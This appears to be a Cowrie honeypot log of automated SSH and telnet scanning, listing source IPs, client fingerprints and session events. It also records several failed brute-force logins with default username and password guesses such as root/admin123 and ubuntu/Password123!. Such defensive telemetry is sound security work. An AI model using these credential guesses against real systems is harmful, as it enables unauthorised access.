{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:28.383919Z","src_ip":"176.65.132.129","session":"5fd260e03865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.12714099884033,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:28.690649Z","src_ip":"192.211.53.160","session":"b211129730f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":37862,"dst_ip":"10.17.0.5","dst_port":23,"session":"b204c4b3ec9f","protocol":"telnet","message":"New connection: 45.81.23.16:37862 (10.17.0.5:23) [session: b204c4b3ec9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:29.050607Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":58936,"dst_ip":"159.203.135.109","dst_port":23,"session":"dca5581dca21","protocol":"telnet","message":"New connection: 192.211.53.160:58936 (159.203.135.109:23) [session: dca5581dca21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:30.883193Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47740,"dst_ip":"10.17.0.5","dst_port":22,"session":"c90c08169fe0","protocol":"ssh","message":"New connection: 176.65.132.129:47740 (10.17.0.5:22) [session: c90c08169fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:31.085098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:31.090047Z","src_ip":"176.65.132.129","session":"c90c08169fe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:31.182063Z","src_ip":"176.65.132.129","session":"c90c08169fe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:31.593928Z","src_ip":"176.65.132.129","session":"c90c08169fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":33620,"dst_ip":"159.203.135.109","dst_port":23,"session":"3048a3e95497","protocol":"telnet","message":"New connection: 64.227.82.147:33620 (159.203.135.109:23) [session: 3048a3e95497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:31.973122Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:32.678139Z","src_ip":"176.65.132.129","session":"c90c08169fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.527923822402954,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:32.713687Z","src_ip":"38.60.198.128","session":"00729321c50b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":54468,"dst_ip":"159.203.135.109","dst_port":23,"session":"82adbadd3d68","protocol":"telnet","message":"New connection: 64.227.82.147:54468 (159.203.135.109:23) [session: 82adbadd3d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:32.841341Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47750,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e267a573b24","protocol":"ssh","message":"New connection: 176.65.132.129:47750 (10.17.0.5:22) [session: 5e267a573b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:34.622432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:34.626629Z","src_ip":"176.65.132.129","session":"5e267a573b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:34.714156Z","src_ip":"176.65.132.129","session":"5e267a573b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:34.960790Z","src_ip":"176.65.132.129","session":"5e267a573b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:36.179382Z","src_ip":"176.65.132.129","session":"5e267a573b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":54474,"dst_ip":"159.203.135.109","dst_port":23,"session":"4044d9a38465","protocol":"telnet","message":"New connection: 64.227.82.147:54474 (159.203.135.109:23) [session: 4044d9a38465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:36.201373Z"}
{"eventid":"cowrie.session.closed","duration":39.63193202018738,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:37.167814Z","src_ip":"38.60.198.128","session":"4bcb1e2600bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49776,"dst_ip":"10.17.0.5","dst_port":22,"session":"d48f0d16d9e0","protocol":"ssh","message":"New connection: 176.65.132.129:49776 (10.17.0.5:22) [session: d48f0d16d9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:37.969735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:37.974719Z","src_ip":"176.65.132.129","session":"d48f0d16d9e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:38.058346Z","src_ip":"176.65.132.129","session":"d48f0d16d9e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.28267502784729,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:38.333157Z","src_ip":"45.81.23.16","session":"b204c4b3ec9f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:38.363403Z","src_ip":"176.65.132.129","session":"d48f0d16d9e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":32904,"dst_ip":"10.17.0.5","dst_port":23,"session":"823aa16fbe92","protocol":"telnet","message":"New connection: 45.81.23.16:32904 (10.17.0.5:23) [session: 823aa16fbe92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:38.724869Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:39.449273Z","src_ip":"176.65.132.129","session":"d48f0d16d9e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49784,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a1bb4f4f0e7","protocol":"ssh","message":"New connection: 176.65.132.129:49784 (10.17.0.5:22) [session: 7a1bb4f4f0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:41.453183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:41.457874Z","src_ip":"176.65.132.129","session":"7a1bb4f4f0e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:41.540035Z","src_ip":"176.65.132.129","session":"7a1bb4f4f0e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:41.785720Z","src_ip":"176.65.132.129","session":"7a1bb4f4f0e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":33112,"dst_ip":"10.17.0.5","dst_port":22,"session":"58050a6f83bc","protocol":"ssh","message":"New connection: 167.172.73.9:33112 (10.17.0.5:22) [session: 58050a6f83bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:42.449050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:42.454291Z","src_ip":"167.172.73.9","session":"58050a6f83bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:42.691777Z","src_ip":"167.172.73.9","session":"58050a6f83bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:42.870889Z","src_ip":"176.65.132.129","session":"7a1bb4f4f0e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55264,"dst_ip":"159.203.135.109","dst_port":23,"session":"07ce1a528ca3","protocol":"telnet","message":"New connection: 38.60.198.128:55264 (159.203.135.109:23) [session: 07ce1a528ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:43.494902Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":54200,"dst_ip":"10.17.0.5","dst_port":22,"session":"608ab7a9de34","protocol":"ssh","message":"New connection: 95.215.8.165:54200 (10.17.0.5:22) [session: 608ab7a9de34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:43.508762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:43.517210Z","src_ip":"95.215.8.165","session":"608ab7a9de34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:43.624863Z","src_ip":"95.215.8.165","session":"608ab7a9de34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wwwadmin","password":"wwwadmin","message":"login attempt [wwwadmin/wwwadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:43.671228Z","src_ip":"167.172.73.9","session":"58050a6f83bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password123!","message":"login attempt [ubuntu/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:44.038877Z","src_ip":"95.215.8.165","session":"608ab7a9de34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":33204,"dst_ip":"159.203.135.109","dst_port":23,"session":"70415f2fff69","protocol":"telnet","message":"New connection: 192.211.53.160:33204 (159.203.135.109:23) [session: 70415f2fff69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:44.135374Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49796,"dst_ip":"10.17.0.5","dst_port":22,"session":"d96be15d8cec","protocol":"ssh","message":"New connection: 176.65.132.129:49796 (10.17.0.5:22) [session: d96be15d8cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:44.795772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:44.801171Z","src_ip":"176.65.132.129","session":"d96be15d8cec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:44.885001Z","src_ip":"176.65.132.129","session":"d96be15d8cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:44.913041Z","src_ip":"167.172.73.9","session":"58050a6f83bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:45.133642Z","src_ip":"95.215.8.165","session":"608ab7a9de34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:45.263922Z","src_ip":"176.65.132.129","session":"d96be15d8cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.989946603775024,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:45.714705Z","src_ip":"45.81.23.16","session":"823aa16fbe92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:46.353927Z","src_ip":"176.65.132.129","session":"d96be15d8cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.79485821723938,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:48.070499Z","src_ip":"38.54.119.93","session":"af9efa48ed7d","protocol":"telnet"}
